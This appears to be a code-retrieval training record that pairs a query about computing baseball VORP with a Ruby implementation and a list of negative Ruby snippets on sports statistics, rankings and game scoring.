[ "0.6943976", "0.66796184", "0.6669005", "0.653046", "0.64215106", "0.63629746", "0.63232327", "0.6284507", "0.62591994", "0.62377656", "0.61852473", "0.61755526", "0.61700743", "0.61698115", "0.61622316", "0.61392", "0.613904", "0.613904", "0.61105245", "0.6102245", "0.60951686", "0.6065441", "0.602788", "0.6027548", "0.6019319", "0.6011043", "0.59858733", "0.5972402", "0.5965377", "0.5964099", "0.59589803", "0.5956114", "0.5945195", "0.59198254", "0.5917644", "0.591584", "0.59138393", "0.5913653", "0.59029", "0.59011596", "0.5878254", "0.58435786", "0.5837823", "0.58305943", "0.5828283", "0.5822731", "0.5816783", "0.5810738", "0.58088285", "0.5804745", "0.5788468", "0.5784278", "0.5776687", "0.5768569", "0.5766111", "0.57640016", "0.5755759", "0.5755006", "0.5754937", "0.57500875", "0.5749137", "0.57456887", "0.5742471", "0.5734156", "0.5726068", "0.5724936", "0.57244027", "0.57235956", "0.5721925", "0.5720276", "0.5716469", "0.5713448", "0.5712079", "0.57074285", "0.5706176", "0.5692573", "0.5688903", "0.5687378", "0.5685434", "0.5685124", "0.56844205", "0.56844205", "0.56844205", "0.56844205", "0.56844205", "0.56844205", "0.56844205", "0.56844205", "0.56844205", "0.56844205", "0.5682817", "0.5679784", "0.56770617", "0.56692433", "0.564957", "0.5648422", "0.5642067", "0.5641158", "0.5630688", "0.56217426" ]
0.5713843
71
calculating VORP comparing runs produced for replacement player vs. selected player, then normalize for 150 game season formula adapted from
def calcVORP(statsArray) #constants lgBA = 0.253 lgOBP = 0.317 lgSLG = 0.396 lgRunsPerOut = 0.1633 replaceR = 0.8 replaceRadical = (25 * lgOBP * lgSLG) / (1 - lgBA) replaceRoot = (replaceRadical ** (1/3.0)) replaceP = (0.1073-(0.11 * replaceR)) * replaceRoot ab = statsArray[1] hits = statsArray[3] cs = statsArray[10] sh = statsArray[11] sf = statsArray[12] gdp = statsArray[13] totalOuts = ab - hits + cs + sh + sf + gdp totalSeasons = (statsArray[0].to_f) / 150 adjustedOuts = (totalOuts / totalSeasons) runsProduced = (lgRunsPerOut * adjustedOuts) replaceRunsProduced = (replaceR * runsProduced) walks = statsArray[8] hbp = statsArray[9] doubles = statsArray[4] triples = statsArray[5] homeRuns = statsArray[6] totalBases = hits + doubles + (2 * triples) + (3 * homeRuns) + walks + hbp runsCreated = ((hits + walks) * totalBases) / (ab + walks) adjustedRunsCreated = (runsCreated / totalSeasons) vorp = (adjustedRunsCreated - replaceRunsProduced) return vorp.round(2) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def least_accurate_team(seasonasstring) # shots in game team stats\n #inverse of above\n end", "def oppg\n (opp_possessions.to_f)/games\n end", "def oppg\n (opp_possessions.to_f)/games\n end", "def recompute_team\n teams = CollegiateResult.where(:year => @year).all\n teams.each do |team|\n ctc = CollegiateTeamComputer.new(team.pilot_contests)\n result = ctc.compute_result\n team.qualified = result.qualified\n team.points = result.total\n team.points_possible = result.total_possible\n team.update_results(result.combination)\n team.save\n end\n RankComputer.compute_result_rankings(teams)\nend", "def calculate_results\n players = {}\n @rounds.each do |round|\n round[:results].each do |player,result|\n if not players.has_key?(player)\n players[player] = 0\n end\n if result[:result] == \"Win\"\n players[player] += 1\n end\n end\n end\n winner = players.max_by{|k,v| v}\n players.each do |player, wins|\n @match[player] = {\n \"result\": (player == winner[0]) ? \"Win\" : \"Loss\",\n \"score\": wins\n }\n\t if @duplicate_players then\n\t\t@match[player][:result]= \"Tie\"\n\t end\n\t \n end\n end", "def points_season(round, season = nil)\n count = 0\n matchs = find_matchs(round, season)\n\n matchs.each do |match|\n if match.is_winner?(self) and match.finished?\n count += MatchGeneral::PT_WIN\n end\n if match.deal? and match.finished?\n count += MatchGeneral::PT_DEAL\n end\n end\n\n count\n end", "def calculate_results\n players = {}\n @rounds.each do |round|\n round[:results].each do |player, result|\n if not players.has_key?(player)\n players[player] = 0\n end\n if result[:result] == \"Win\"\n players[player] += 1\n end\n end\n end\n winner = players.max_by { |k, v| v }\n players.each do |player, wins|\n @match[player] = {\n \"result\": (player == winner[0]) ? \"Win\" : \"Loss\",\n \"score\": wins,\n }\n if @duplicate_players\n @match[player][:result] = \"Tie\"\n end\n end\n end", "def power_play_goal_percentage(seasonasstring) # power_play info in game team stat\n #find list of all games in season given by arg\n #sum all power play goals\n #sum all power play oppertunities\n #divide line 146 and line 147\n #return total of above\n end", "def calculate!\n ov = self[:overall]\n ov[:high_night] = {}\n ov[:winners] = {}\n\n self.each do |player_id, st|\n next if player_id == :overall\n\n ## calculate computed stats for player\n st[:nights] += st[:dates].keys.length # if st[:nights] == 0\n st[:high_night] = st[:dates].values.max\n st[:gold_stars] = 1 if st[:nights] == 29\n st[:warps_per_game] = 1.0 * st[:warps] / st[:games] rescue 0\n st[:warps_per_night] = 1.0 * st[:warps] / st[:nights] rescue 0\n st[:games_per_night] = 1.0 * st[:games] / st[:nights] rescue 0\n st[:wins_per_night] = 1.0 * st[:wins] / st[:nights] rescue 0\n st[:wins_per_game] = 1.0 * st[:wins] / st[:games] rescue 0\n\n ## accumulate overall stats\n [:warps, :wins, :cfbs,\n :mystery_factors, :gold_stars]. each do |field|\n ov[field] += st[field]\n end\n [:wimps, :come_ons].each do |field|\n if st[field]\n ov[field] ||= 0\n ov[field] += st[field]\n end\n end\n # nights won calculation\n st[:dates].each do |date,warps|\n ov[:dates][date] += warps\n hnd = ov[:high_night][date] ||= {:players => [], :warps => 0}\n if hnd[:warps] < warps\n hnd[:players] = [player_id]\n hnd[:warps] = warps\n elsif hnd[:warps] == warps\n hnd[:players].push(player_id)\n end\n end\n end\n\n ## update overall computed stats\n st = self[:overall]\n ov[:games] = ov[:wins]\n ov[:nights] = ov[:dates].keys.length\n ov[:nights] = 29 if ov[:nights] == 0 ## provide sane default\n ov[:nights] = ov[:nights_real] if ov[:nights_real]\n ov[:warps_per_game] = 1.0 * ov[:warps] / ov[:games] rescue 0\n ov[:warps_per_night] = 1.0 * ov[:warps] / ov[:nights] rescue 0\n ov[:games_per_night] = 1.0 * ov[:games] / ov[:nights] rescue 0\n ov[:high_night].each do |date,h|\n h[:players].each {|p| self[p][:nights_won] += 1}\n end\n\n ## determine per-stat winners\n # fuck everyone but the top 50 OR those with 50+ warps\n # the 51 below is not a bug\n sorted_players = self.keys.sort{|a,b| self[b][:warps] <=> self[a][:warps]}\n fifty_plus = self.keys.select{|p| self[p][:warps] >= 50}\n eligible = (sorted_players[0..51] | fifty_plus).\n inject(Hash.new(false)) {|acc,p| acc.merge(p => true)}\n [:warps, :games, :nights, :wins, :nights_won, :cfbs,\n :come_ons, :wimps, :warps_per_game, :warps_per_night,\n :games_per_night, :wins_per_game, :high_night].each do |field|\n owf = ov[:winners][field] = {:players => [], :value => 0}\n self.each do |player, st|\n next if player == :overall\n next unless eligible[player]\n if st[field].to_f > owf[:value]\n owf[:players] = [player]\n owf[:value] = st[field]\n elsif st[field] == owf[:value]\n owf[:players].push(player)\n end\n end\n end\n\n ## mark per-stat winners\n ov[:winners].each do |field, win|\n win[:players].each do |player|\n self[player][:winner][field] = true\n end\n end\n\n self\n end", "def calc_ratings\n # Changes players' ratings\n x = 1\n @players.each do |player|\n puts \"Starting calcs for #{player.name}\"\n player.scores[self.id] = @scores[player]\n puts \"#{player.name}'s score added to personal score list\"\n \n if player.provisional == true\n if @scores[player] == 10\n puts \"#{player.name} won this provisional game.\"\n rating_change = $PROVK * (players.length - 1)\n player.rating += rating_change\n else\n puts \"#{player.name} lost this provisional game.\"\n proportion = @scores[player].to_f / (self.sum_scores - 10)\n puts \"Proportion: #{proportion}\"\n # The (-2 * $PROVK) part essentially inverses a player's\n # rating_change. Higher proportion -> lower rating loss.\n rating_change = (-2 * $PROVK) + (proportion * ($PROVK * (players.length - 1)))\n puts \"Rating change: #{rating_change}\"\n player.rating += rating_change\n end\n else\n if player == @players[-1]\n break\n end\n @players[x..-1].each do |opponent| # Compares to each following player in array\n puts \"versus #{opponent.name}\"\n expected_score = [((@old_ratings[player] + $BETA) / (@old_ratings[opponent] + $BETA) * @scores[opponent]), 2].max\n \n rating_change = [(@scores[player]/expected_score), (expected_score/@scores[player])].min - 1\n \n if @scores[player] > expected_score\n rating_change = -rating_change\n end\n \n rating_change = rating_change * $REGK\n \n if @scores[player] > @scores[opponent]\n rating_change += $WINLOSS\n \n player.rating += rating_change\n opponent.rating -= rating_change\n \n end\n end\n end\n x += 1\n \n\n end\n \n for player in players\n @new_ratings[player] = player.rating\n puts \"Added #{player.name} to @new_ratings\"\n player.old_rating = player.rating\n puts \"old_rating set equal to rating in preparation for future games\"\n end\n return @new_ratings\n end", "def generate_games(season)\n unless season.blank?\n player_ids = season.approved_players.map(&:id).uniq\n player_ids.each do |player_id|\n opponent_ids = player_ids - [ player_id ]\n opponent_ids.each do |opponent_id|\n # Runner\n runner_game = {\n league_id: season.league_id,\n season_id: season.id,\n runner_player_id: player_id,\n corp_player_id: opponent_id\n }\n Game.create(runner_game) unless Game.where(runner_game).any?\n\n # Corp\n corp_game = {\n league_id: season.league_id,\n season_id: season.id,\n runner_player_id: opponent_id,\n corp_player_id: player_id\n }\n Game.create(corp_game) unless Game.where(corp_game).any?\n end\n end\n\n season.update_table!\n end\n end", "def set_relative_rank\n ranked_week_calculations_for_season = PlayerCalculation.for_user(@player_calculation.user_id).rank_by_weekly_load # .for_season(@player_calculation.season)\n i = ranked_week_calculations_for_season.length\n ranked_week_calculations_for_season.each do |calc|\n calc.update(season_rank: i)\n calc.save!\n i = i - 1\n end\n return\n end", "def rating\n position_sum = 0\n games = []\n number_of_teams = 0\n Participation.find_all_by_player_id(self.id).each do |participation|\n position_sum += participation.position\n games.push Game.find(participation.game_id)\n end\n\n games.each do |game|\n number_of_teams += game.number_of_teams\n end\n\n if position_sum == 0\n position_sum = number_of_teams.to_f-0.5\n end\n\n (1 - position_sum.to_f/number_of_teams).round 2\n end", "def mot_m_total(params = { season: Date.current.year })\n if params[:season]\n (mot_m_firsts.select { |x| x.match.season == params[:season] }.length * 3) + (mot_m_seconds.select { |x| x.match.season == params[:season] }.length * 2) + (mot_m_thirds.select { |x| x.match.season == params[:season] }.length * 1)\n else\n (mot_m_firsts.select { |x| x.match_id.in? [params[:match_id]].flatten }.length * 3) + (mot_m_seconds.select { |x| x.match_id.in? [params[:match_id]].flatten }.length * 2) + (mot_m_thirds.select { |x| x.match_id.in? [params[:match_id]].flatten }.length * 1)\n end\n end", "def win_matchs_season(round, season = nil)\n count = 0\n matchs = find_matchs(round, season)\n\n matchs.each do |match|\n if match.is_winner?(self) and match.finished?\n count += 1\n end\n end\n count\n end", "def compute_team_winner\n if completed?\n team_winner\n else\n if first_team && second_team\n if sets_won(first_team) == min_sets_to_play\n first_team\n elsif sets_won(second_team) == min_sets_to_play\n second_team\n end\n end\n end\n end", "def pri_toff\n team_stats.goals_per_game / team_stats.opp_avg_goals_per_game\n end", "def simulation\n\t\t@vPlayers.each {|player|\n\t\t\tloop{\n\t\t\t\tplayer.score.roll(player.score.pins)\n\t\t\t\tif player.score.gameIsOver == true\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\t}\n\t\t}\n\tend", "def most_accurate_team(seasonasstring) # shots in game team stats\n #get a list of all teams that played in that season - given by arg\n #use above list to sum all shots across all games in season\n #divide above by goals made across all games in season\n #find highest percentage\n #return team name as found in 127\n end", "def pri_sos\n team_stats.opp_pyth / 50.0 \n end", "def show\n @rounds = set_rounds\n @matches = @competition.matches.select { |match| match.season == @competition.curr_season }\n @matches = @matches.sort_by{ |m| m.round }\n end", "def generate_scores(stage1, matches, players)\n i, matches_per_round = 0, 1\n round_depth = Math.log2(players.length).ceil\n query = PlayerMatch.select(:player_id, :match_id, :result)\n .where(match_id: matches).reorder(match_id: :asc)\n scores = Array.new(round_depth, [])\n\n while (i < round_depth)\n j, k = 0, 0\n scores[i] = Array.new(matches_per_round, nil)\n while (k < scores[i].count)\n results = query.where(match_id: stage1[i][k]).first\n if (!results.blank?)\n if results['result'] == \"Win\"\n scores[i][j] = [1,0]\n else\n scores[i][j] = [0,1]\n end\n else\n scores[i][j] = [nil, nil]\n end\n j += 1\n k += 1\n end\n\n i += 1\n matches_per_round *= 2\n end\n return scores\n end", "def update_score\n games = Hash.new([])\n predictions.each do |prediction|\n key = prediction.match_id\n games[key] = {}\n games[key][:teams] = []\n games[key][:round] = prediction.round_id\n unless prediction.winner.nil?\n games[key][:teams] << prediction.winner.id\n end\n end\n Game.includes(:team1, :team2).find_each do |game|\n key = game.match_id\n unless game.winner.nil?\n games[key][:teams] << game.winner.id\n end\n end\n\n puts games.inspect\n\n score = 0\n games.each do |key, data|\n round = games[key][:round]\n winners = games[key][:teams]\n if winners.length == 2 and winners.first == winners.last\n score += (2 ** (round))\n end\n end\n self.update_attributes :score => score\n end", "def win_ratio_adjustment\n adjustment = 0\n wins = @stats[:wins].to_i\n losses = @stats[:losses].to_i\n player_games = @stats[:games].to_i\n total_games = ::Game.where('status = ?','finished').count\n\n percentage_of_games = (player_games.to_f / total_games.to_f)\n\n if wins > 0 or losses > 0\n adjustment += ((@user.wl_ratio * @ratios[:win_loss_ratio_multiplier])*(percentage_of_games*@ratios[:match_percentage_multiplier]))\n end\n\n adjustment\n end", "def update_rankings\n winner = Player.find(winner_id)\n loser = Player.find(loser_id)\n\n if self.draw\n if (winner.rank - loser.rank) < 1\n winner.update_ranking 1\n elsif winner.rank - loser.rank > 1\n loser.update_ranking 1\n end\n else\n if winner.rank < loser.rank\n return\n else\n diff = winner.rank - loser.rank\n loser.update_ranking 1\n winner.update_ranking (diff/2)*-1\n end\n end\n\n\n end", "def determine_winner game\n winner = game.max_by {|team| team[:score]}\n team_standings = get_team_by_name(winner)\n team_standings[:winnings] += 3\nend", "def getMidSeasonStatistics()\n for player in @skater_data\n begin\n stats = JSON.parse((RestClient.get \"https://statsapi.web.nhl.com/api/v1/people/#{player[5]}/stats?stats=statsSingleSeason\"))[\"stats\"][0][\"splits\"][0][\"stat\"]\n gamesLeft = 82 - @games_played[player[player.length-1]]\n player[6] = ((player[6].to_f/82)*gamesLeft + stats[\"goals\"]).to_i\n player[7] = ((player[7].to_f/82)*gamesLeft + stats[\"assists\"]).to_i\n player[8] = ((player[8].to_f/82)*gamesLeft + stats[\"powerPlayPoints\"]).to_i\n player[9] = ((player[9].to_f/82)*gamesLeft + stats[\"plusMinus\"]).to_i\n player[10] = ((player[10].to_f/82)*gamesLeft + stats[\"shots\"]).to_i\n player[11] = ((player[11].to_f/82)*gamesLeft + stats[\"hits\"]).to_i\n rescue\n gamesLeft = 82 - @games_played[player[player.length-1]]\n player[6] = ((player[6].to_f/82)*gamesLeft).to_i\n player[7] = ((player[7].to_f/82)*gamesLeft).to_i\n player[8] = ((player[8].to_f/82)*gamesLeft).to_i\n player[9] = ((player[9].to_f/82)*gamesLeft).to_i\n player[10] = ((player[10].to_f/82)*gamesLeft).to_i\n player[11] = ((player[11].to_f/82)*gamesLeft).to_i\n end\n puts player\n end\n for goalie in @goalie_data\n begin\n stats = JSON.parse((RestClient.get \"https://statsapi.web.nhl.com/api/v1/people/#{goalie[5]}/stats?stats=statsSingleSeason\"))[\"stats\"][0][\"splits\"][0][\"stat\"]\n gamesLeft = 82 - @games_played[goalie[goalie.length-1]]\n goalie[6] = ((goalie[6].to_f/82)*gamesLeft + stats[\"gamesStarted\"]).to_i\n goalie[7] = ((goalie[7].to_f/82)*gamesLeft + stats[\"wins\"]).to_i\n goalie[9] = (((goalie[9].to_f)*gamesLeft + stats[\"savePercentage\"]*@games_played[goalie[13]])/82).round(4)\n goalie[11] = (((goalie[11].to_f)*gamesLeft + stats[\"goalAgainstAverage\"]*@games_played[goalie[13]])/82).round(4)\n goalie[12] = ((goalie[12].to_f/82)*gamesLeft + stats[\"shutouts\"]).to_i\n rescue\n gamesLeft = 82 - @games_played[goalie[goalie.length-1]]\n goalie[6] = ((goalie[6].to_f/82)*gamesLeft).to_i\n goalie[7] = ((goalie[7].to_f/82)*gamesLeft).to_i\n goalie[9] = ((goalie[9].to_f/82)*gamesLeft).to_i\n goalie[11] = ((goalie[11].to_f/82)*gamesLeft).to_i\n goalie[12] = ((goalie[12].to_f/82)*gamesLeft).to_i\n end\n puts goalie\n end\nend", "def flu_season\n event_display(\"It's flu season!\\n One player has been infected and needs some time to recuperate.\")\n {Game.last.players.sample.id.to_s =>\n {wellbeing: -100}\n }\n end", "def update\n\n # Vérifie si il y a les points des matches dans les params\n if (params[:points_manche])\n\n # Additionne tous les points des annonces\n team1_total_point_announce = params[:team1_num0_announce].to_i + params[:team1_num01_announce].to_i + params[:team1_num2_announce].to_i + params[:team1_num3_announce].to_i + params[:team1_num4_announce].to_i\n team2_total_point_announce = params[:team2_num0_announce].to_i + params[:team2_num01_announce].to_i + params[:team2_num2_announce].to_i + params[:team2_num3_announce].to_i + params[:team2_num4_announce].to_i\n\n # Met a jour la manche de la partie\n @game.update(rounds: @game.rounds + 1)\n\n # Permet de définir le nouveau distributeur\n @game.teams.each do |team|\n team.players.each do |player|\n if (player.distributor)\n @distributor_position = player.position\n player.update(distributor: false)\n end\n end\n end\n @new_distributor_position = @distributor_position + 1\n if (@new_distributor_position == 5)\n @new_distributor_position = 1\n end\n @game.teams.each do |team|\n team.players.each do |player|\n if (player.position == @new_distributor_position)\n player.update(distributor: true)\n end\n end\n end\n\n # Permet de définir le joueur qui devra chosir l'atout\n @game.teams.each do |team|\n team.players.each do |player|\n if (player.first_to_play)\n @first_to_play_position = player.position\n player.update(first_to_play: false)\n end\n end\n end\n @new_first_to_play_position = @first_to_play_position + 1\n if (@new_first_to_play_position == 5)\n @new_first_to_play_position = 1\n end\n @game.teams.each do |team|\n team.players.each do |player|\n if (player.position == @new_first_to_play_position)\n player.update(first_to_play: true)\n end\n end\n end\n\n # Verifie si les points de la manche sont a 0 et met a jour les points de l'équipe 2\n if params[:points_manche].to_i == 0\n # Vérifie si il y a un match; Si oui on ajoute 257 points sinon 157\n if params[:match] == \"oui\"\n @game.teams.last.update(points: 257 + @game.teams.last.points.to_i + team2_total_point_announce)\n else\n @game.teams.last.update(points: 157 + @game.teams.last.points.to_i + team2_total_point_announce)\n end\n elsif 157 - params[:points_manche].to_i <= 0\n @game.teams.last.update(points: 0 + @game.teams.last.points.to_i + team2_total_point_announce)\n else\n @game.teams.last.update(points: 157 - params[:points_manche].to_i + @game.teams.last.points.to_i + team2_total_point_announce)\n end\n\n # Met a jour les points de l'équipe 2\n @game.teams.first.update(points: params[:points_manche].to_i + @game.teams.first.points.to_i + team1_total_point_announce )\n\n # Vérifie si il y a un gagnant dans la partie\n if (@game.teams.first.points >= @game.points)\n @game.teams.first.update(winner: true)\n @game.update(winner: true)\n elsif (@game.teams.last.points >= @game.points)\n @game.teams.last.update(winner:true)\n @game.update(winner: true)\n end\n\n # Sauvegarde une partie\n if @game.save\n render json: { success: true, teams: @game.teams, game: @game}\n end\n\n # Met a jour l'atout et affichige l'icone sur le bon joueur (atout)\n elsif (params[:atout] != '')\n @game.update(atout: params[:atout])\n if (params[:chibre] == \"true\")\n @game.teams.each do |team|\n team.players.each do |player|\n if (player.first_to_play)\n @first_to_play_position = player.position\n player.update(first_to_play: false)\n end\n end\n end\n @new_first_to_play_position = @first_to_play_position + 2\n if (@new_first_to_play_position == 5)\n @new_first_to_play_position = 1\n end\n if (@new_first_to_play_position == 6)\n @new_first_to_play_position = 2\n end\n @game.teams.each do |team|\n team.players.each do |player|\n if (player.position == @new_first_to_play_position)\n player.update(first_to_play: true)\n render json: { success: true, teams: @game.teams}\n end\n end\n end\n else\n render json: { success: true, teams: @game.teams}\n end\n\n # Verifie le status de la partie\n elsif (params[:status] != '')\n @game.update(status: params[:status])\n end\n\n end", "def get_initial_gv(result)\n gv = (@course_time / result.float_time) * 100\n @c_runner_gv[result.runner_id] = {cgv: gv, score: gv, races: 1}\n gv\n end", "def create\n sport_id = user_session.get(:filter_sport_id) # okay that's how mistakes happen.... TODO!!!\n sport = Sport.find(sport_id)\n team_points = Hash.new(0)\n team_games = Hash.new(0)\n team_goals_for = Hash.new(0)\n team_goals_against = Hash.new(0)\n\n sport.leagues.each do |league|\n league.games.each do |game| #iterate through EVERY game in EVERY league, calculate points, set it in team table\n if game.tie == false and not game.winner_id.nil? # no tie and winner exists\n team_points[game.winner_id] += 2\n team_games[game.team_1_id] += 1\n team_games[game.team_2_id] += 1\n elsif game.tie == true\n team_points[game.team_1_id] += 1\n team_points[game.team_2_id] += 1\n team_games[game.team_1_id] += 1\n team_games[game.team_2_id] += 1\n end # else, game has not been played yet\n\n # go through all the sets and calculate goal difference\n game.gamesets.each do |set|\n team_goals_for[game.team_1_id] += set.points_team_1.to_i\n team_goals_for[game.team_2_id] += set.points_team_2.to_i\n team_goals_against[game.team_1_id] += set.points_team_2.to_i\n team_goals_against[game.team_2_id] += set.points_team_1.to_i\n end\n\n end\n\n league.teams.each do |team|\n team.points = team_points[team.id] #|| 0 should work without this\n team.game_count = team_games[team.id]\n team.goals_for = team_goals_for[team.id]\n team.goals_against = team_goals_against[team.id]\n team.goals_difference = team_goals_for[team.id] - team_goals_against[team.id]\n team.save\n end\n end\n redirect_to rankings_path, success: t(:object_created)\n end", "def supermaster\n @tab_title = I18n.t('team_management.fin_supermaster')\n\n # Find out steam affiliation. Fix-ME\n team_affiliation = @team.team_affiliations.includes(:season).where(\"season_id = 182\").first\n tsc = TeamSupermasterCalculator.new(team_affiliation)\n tot_swimmers = tsc.parse_swimmer_results()\n @team_supermaster_scores = tsc.team_supermaster_dao.sort{|p,n| (n.get_results_count*10000 + n.get_total_score) <=> (p.get_results_count*10000 + p.get_total_score) }\n @full_events_swimmers = tsc.full_events_swimmers\n @ranking_min = 0\n @ranking_max = 9999\n @ranking_context = 9999\n @ranking_range = \"A\"\n\n # Determines the ranking context based on full_events_swimmer count\n # TODO - Store range on DB\n case @full_events_swimmers\n # Range F 25\n when 1..30\n @ranking_min = 1\n @ranking_max = 30\n @ranking_context = 25\n @ranking_range = \"F\"\n # Range E 50\n when 31..55\n @ranking_min = 31\n @ranking_max = 55\n @ranking_context = 50\n @ranking_range = \"E\"\n # Range D 75\n when 56..85\n @ranking_min = 56\n @ranking_max = 85\n @ranking_context = 75\n @ranking_range = \"D\"\n # Range C 100\n when 86..110\n @ranking_min = 86\n @ranking_max = 110\n @ranking_context = 100\n @ranking_range = \"C\"\n # Range B 125\n when 111..140\n @ranking_min = 111\n @ranking_max = 140\n @ranking_context = 125\n @ranking_range = \"B\"\n # Range A more than 125\n else\n @ranking_min = 140\n @ranking_max = 9999\n @ranking_context = 9999\n @ranking_range = \"A\"\n end\n\n end", "def biggest_suprise(seasonasstring)\n #as above, but change line 100 to reverse operations, regular percentage - postseason percentage\n end", "def pri_tdef\n team_stats.opp_goals_per_game / team_stats.opp_avg_goals_against_per_game\n end", "def result_update_to player, dealer_player, odds\r\n if player[:state] == 'won' \r\n amount = (player[:bet].to_f * odds).to_i\r\n player[:total_chips] = player[:total_chips] + amount\r\n\tdealer_player[:total_chips] = dealer_player[:total_chips] - amount\r\n\tplayer[:total_win] = player[:total_win] + 1\r\n\tplayer[:history].push('won')\r\n elsif player[:state] == 'lost'\r\n player[:total_chips] = player[:total_chips] - player[:bet]\r\n\tdealer_player[:total_chips] = dealer_player[:total_chips] + player[:bet]\r\n player[:history].push('lost')\r\n else\r\n player[:history].push('push')\r\n end\r\n player[:total_round] = (player[:state] == 'won' || player[:state] == 'lost')? player[:total_round] + 1 : player[:total_round]\r\n player[:rate] = (player[:total_round] > 0)? player[:total_win].to_f / player[:total_round].to_f : player[:rate]\r\nend", "def winning_team\n final_scores = player_collection.reduce(home: 0, away: 0) { |teams_points, next_player|\n case \n when next_player[:location] === :away\n teams_points[:away] += next_player[:points];\n when next_player[:location] === :home\n teams_points[:home] += next_player[:points];\n end\n teams_points; \n }\n winner = final_scores.reduce { |highest_points, team_points| \n highest_points[1] > team_points[1] ? highest_points : team_points; \n }\n game_hash[winner[0]][:team_name]; \nend", "def update_player_record\n winner = self.winner.player\n loser = self.loser.player\n\n Player.find(winner.id).add_win\n Player.find(loser.id).add_loss\n\n Player.find(winner.id).calculate_win_percentage\n Player.find(loser.id).calculate_win_percentage\n\n # General Elo update\n EloRating.k_factor = 36\n elo_match = EloRating::Match.new\n elo_match.add_player(rating: winner.elo, winner: true)\n elo_match.add_player(rating: loser.elo)\n\n new_winner_elo = elo_match.updated_ratings[0]\n new_loser_elo = elo_match.updated_ratings[1]\n\n self.elo_delta = loser.elo - new_loser_elo\n\n winner.max_elo_check(new_winner_elo)\n\n winner.update_elo(new_winner_elo)\n loser.update_elo(new_loser_elo)\n\n # Format Elo update\n format_match = EloRating::Match.new\n\n format = self.tournament.format\n if format == 'Dark Draft'\n format_match.add_player(rating: winner.dark_draft_elo, winner: true)\n format_match.add_player(rating: loser.dark_draft_elo)\n\n new_winner_elo = format_match.updated_ratings[0]\n new_loser_elo = format_match.updated_ratings[1]\n\n self.format_elo_delta = loser.dark_draft_elo - new_loser_elo\n\n winner.max_dark_draft_elo_check(new_winner_elo)\n\n winner.update_dark_draft_elo(new_winner_elo)\n loser.update_dark_draft_elo(new_loser_elo)\n elsif format == 'Constructed'\n format_match.add_player(rating: winner.constructed_elo, winner: true)\n format_match.add_player(rating: loser.constructed_elo)\n\n new_winner_elo = format_match.updated_ratings[0]\n new_loser_elo = format_match.updated_ratings[1]\n\n self.format_elo_delta = loser.constructed_elo - new_loser_elo\n\n winner.max_constructed_elo_check(new_winner_elo)\n\n winner.update_constructed_elo(new_winner_elo)\n loser.update_constructed_elo(new_loser_elo)\n end\n end", "def player_win_percentage\n (games_won/user_games)\n end", "def sol inp\n k, ins = inp.split(' ',2)\n k = k.to_i\n ps, pr, pi, pu, pw, pd, pl = ins.split.map(&:to_f)\n\n @ps = ps\n @pr = pr\n @pu = pu\n @pw = pw\n @pd = pd\n @pl = pl\n\n #\n # required_wins = 2\n # # winning 1st set\n # first_set = ps*pi + pr*(1-pi)\n # # winning 2nd set\n # first_set * winning_another_set + (1-first_set)*winning_another_set\n #\n # required_wins.times do |i|\n # count = 0\n # while count <= i\n # wins[i] = win_scene(pi,ps,pr, count)\n # count+=1\n # break if count == i\n # lose_scene(pi,ps,pr, pr,count)\n # end\n # end\n\n # winning second set after winning first + winning second set after winning one\n # wins[0]*win_scene(pi,ps,pr) + (1-wins[0])*lose_scene(pi,ps,pr)\n\n def win_scene(pi,round,required_wins,current_wins)\n return 0 if round >= required_wins\n # puts \"w #{' '*round},#{required_wins},#{current_wins})\"\n sunny = (round == 0) ? pi : (pi+(@pu*@pw))\n sunny = 1.0 if sunny > 1\n sunny = 0.0 if sunny < 0\n chance = sunny*@ps + (1-sunny)*@pr\n binding.pry if chance > 1\n\n if required_wins == current_wins+1\n chance\n else\n # return 0 if round > 100\n return 0 if (10**7*chance).to_i < 1\n wins = win_scene(sunny,round+1,required_wins,current_wins+1)\n # lose = lose_scene(sunny,round+1,required_wins,current_wins+1)\n chance * (wins)#+ (1-chance)*lose\n end\n end\n\n def lose_scene(pi,round,required_wins,current_wins)\n return 0 if round >= required_wins\n # puts \"l #{' '*round},#{required_wins},#{current_wins})\"\n sunny = (round == 0) ? pi : (pi-(@pd*@pl))\n sunny = 1.0 if sunny > 1\n sunny = 0.0 if sunny < 0\n chance = sunny*@ps + (1-sunny)*@pr\n binding.pry if chance > 1\n\n if required_wins == current_wins\n chance\n else\n # return 0 if round > 100\n return 0 if (10**7*chance).to_i < 1\n wins = win_scene(sunny,round+1,required_wins,current_wins+1)\n # lose = lose_scene(sunny,round+1,required_wins,current_wins+1)\n chance * (wins) #+ (1-chance)*lose\n end\n end\n\n # a = win_scene(pi,0,1,0)\n b = win_scene(pi,0,k,0)\n c = lose_scene(pi,0,k,0)\n # c = (k > 1) ? lose_scene(pi,1,k,0) : 0\n\n puts b\n puts c\n b +c\n # wtf?\n # 0.4* win_scene(pi,0,k,0)+ (1-0.6)*lose_scene(pi,0,k,0)\n\n# def smth(pi, ps, pr, setcount=0)\n# arr[1] = arr[0]\n# end\n# # set 2+ ?\n# set2 = ((ps+pu)*pw + ps*(1-pw))*pi\n# (1-set1)*((ps-pd)*pl + ps*(1-pl))\n# if k > 1\n# (k-1).times do\n#\n# end\n# end\nend", "def minimum_rounds(driver)\n Algorithm::Swiss.minimum_rounds(driver.seeded_teams.length)\n end", "def minimum_rounds(driver)\n Algorithm::Swiss.minimum_rounds(driver.seeded_teams.length)\n end", "def team_rsvps\n team_players.map do |player|\n Rsvp.new(game: self, player: player)\n end\n end", "def game_ratio(nick)\n pa = $db[:player_action]\n udb = $db[:uno]\n\n games = udb.where(nick: nick).all[0]\n\n dataset = $db[\"SELECT count(game) FROM player_action pa where pa.action = 0 and pa.player = ?\n and exists (select game from player_action pa2 where pa.game = pa2.game and pa2.action = 0 and pa2.player like 'unobot%')\n and exists (select 1 from games where id = pa.game and end is not null)\", nick]\n puts dataset.all[0].to_a[0][1].to_f, games[:games].to_f\n dataset.all[0].to_a[0][1].to_f / games[:games].to_f\nend", "def calculate_overall_winner\n points_per_player = {}\n @matches.each do | match |\n !points_per_player[match.winner].nil? ? (points_per_player[match.winner] += 1) : (points_per_player[match.winner] = 1)\n end\n max_points = points_per_player.values.max\n points_per_player.key(max_points)\n end", "def percentage_visitor_wins\n visitor_wins = @teams.map { |team| team.away_wins }.sum\n visitor_games = @teams.map { |team| team.away_games }.sum\n (visitor_wins.to_f / visitor_games.to_f).round(2)\n end", "def coach_win_percent_in_season(coach, game_ids)\n (total_wins_of_coach_in_season(coach, game_ids) / total_coach_games_in_season(coach, game_ids).to_f).round(2)\n 